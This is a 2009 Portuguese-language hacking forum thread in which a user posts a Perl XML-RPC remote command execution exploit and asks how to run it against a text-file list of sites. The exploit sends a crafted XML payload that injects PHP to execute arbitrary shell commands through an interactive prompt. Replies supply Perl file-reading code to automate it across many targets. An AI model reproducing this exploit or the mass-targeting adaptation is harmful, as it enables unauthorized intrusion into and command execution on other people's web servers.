[Duvida]xpl - xmlprc

Started by Zero cool, 08 de October , 2009, 03:44:37 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Zero cool

Pessoal seguinte tenho 1 xpl de xmlrpc blz, so que vc precisa ficar testando 1 por 1 manualmente eu queria colocar uma function pra abrir 1 txt com 1 list de sites xml e ir testando os mesmo eu ja tive algumas ideias mais n manjo quase nada de perl se alguem puder me ajudar agradeço deis de ja.

o xpl


#!/usr/bin/perl

use IO::Socket;

print "XMLRPC remote commands execute exploit by dukenn (http://asteam.org)\n";

if ($ARGV[0] && $ARGV[1])
{
$host = $ARGV[0];
$xml = $ARGV[1];
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "connecterror\n";
while (1) {
print '['.$host.']# ';
$cmd = <STDIN>;
chop($cmd);
last if ($cmd eq 'exit');
$xmldata = "<?xml version=\"1.0\"?><methodCall><methodName>test.method</methodName><params><param><value><name>',''));echo '_begin_\n';echo `".$cmd."`;echo '_end_';exit;/*</name></value></param></params></methodCall>";
print $sock "POST ".$xml." HTTP/1.1\n";
print $sock "Host: ".$host."\n";
print $sock "Content-Type: text/xml\n";
print $sock "Content-Length:".length($xmldata)."\n\n".$xmldata;
$good=0;
while ($ans = <$sock>)
{
if ($good == 1) { print "$ans"; }
last if ($ans =~ /^site vulneravel!/);
if ($ans =~ /^_begin_/) { $good = 1; }
}
if ($good==0) {print "Exploit Failed\n";exit();}
  }
}
else {
print "Usage: perl xml.pl [host] [path_to_xmlrpc]\n\n";
print "Example: perl xml.pl target.com /script/xmlrpc.php\n";
exit;
}


keenlanas

aew!

Essa página pode ajudar...

^^

http://www.troubleshooters.com/codecorn/littperl/perlfile.htm


        my $inf;
open $inf, "<" . $bigfileName;
while(<$inf>)
{
    my $line = $_;
         ...
        }


Uma coisa assim... Ae $line vai ter a linha do arquivo de texto... ACHO, não programo em perl, mas testa ae :D


Joey

#2
#!/usr/bin/perl
print "Forneca o nome do arquivo contendo a lista: ";
chop($lista = <STDIN>); # aqui pegaremos o arquivo para fazer a verificação.
open(arq, $lista) || die "\n fdp deu erro porra"; #aqui abriremos o arquivo para leitura, e caso ele não consiga abrir ele vai retornar uma msg.
@lines = <arq>; #aqui colocamos as linhas do arquivo em um array.
foreach $line (@lines) { #aqui começamos a verificação.
chomp($line); #remove o enter da linha.
if( $line !~ /http:\/\// ) { print "$line | nao e um site \n"; } #aqui ele vai verificar se em cada linha contém a string "http://" e se não tiver ele vai retornar a msg.
else { print "$line | e um site sim \n"; } # e se tiver ele vai retornar outra msg.
}

Malz pelo código bagunçado auehauheauhe
Zero Cool, agora é só ajustar o meu code com esse ai que você postou (:

monkers do fórum não me matem, sou noob :T
Com um punhado de areia eu mostrarei o terror à vocês.